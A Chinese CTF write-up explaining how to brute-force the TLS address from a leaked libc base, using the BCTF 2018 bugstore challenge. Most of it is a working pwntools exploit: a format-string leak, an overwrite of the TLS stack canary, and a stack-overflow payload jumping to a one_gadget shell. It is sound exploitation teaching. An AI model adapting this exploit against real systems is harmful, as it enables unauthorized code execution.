已知libc地址爆破TLS、ld.so等地址
在大多数情况下,远程的ld.so以及TLS等结构的地址与libc地址之间的偏移与本地的会不一样,但是大致处于一个范围内,并且,在同一个系统里,这个差值是固定的,其差值的变化往往在偏移的第1.5BYTE~2.5BYTE的位置,即地址十六进制的第4、5个数,因此我们只需爆破2个十六进制数即可。
以列题来说明
BCTF_2018_bugstore
在函数中有栈溢出,但是有canary保护
我们来看看输入函数,输入函数遇到\0就结束了输入,而我们知道canary的最后一个字节一定是0,因此,我们输入了canary,后面的内容就输入不了了,因此,需要利用程序提供的任意地址写漏洞将TLS结构里canary覆盖为全部字节非零的值。
我们已知libc地址,TLS地址与libc地址字节的偏移在同一个系统里是固定的,但是不同系统、机器里,偏移就有微小变化,但是变化不大,一般在地址十六进制的第4、5个数,因此,我们可以爆破。
#coding:utf8
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
#爆破TLS的地址
for x in range(0xF):
for y in range(0xF):
try:
#sh = process('./BCTF_2018_bugstore')
sh = remote('node3.buuoj.cn',26763)
sh.sendlineafter('Your choice:','F')
sh.sendline('%p-%p-%p-%p-%p-%p-%p-%p-%p-LIBC:%p-')
sh.recvuntil('LIBC:')
libc_base = int(sh.recvuntil('-',drop = True),16) - 0xE7 - libc.sym['__libc_start_main']
one_gadget_addr = libc_base + 0x4f322
print 'libc_base=',hex(libc_base)
print 'one_gadget_addr=',hex(one_gadget_addr)
offset = 0x6 << 20
offset += x << 16
offset += y << 12
offset += 0x528
#覆盖TLS里面的canary
sh.sendlineafter('Your choice:','A')
tls_canary_addr = libc_base + offset
sh.sendline(str(tls_canary_addr))
print 'tls_canary_addr=',hex(tls_canary_addr)
sh.sendlineafter('Your choice:','S')
payload = 'a'*0x28 + 'BUGSTORE' + 'a'*0x8 + p64(one_gadget_addr)
sh.sendline(payload)
sh.interactive()
except:
print 'trying...'
sh.close()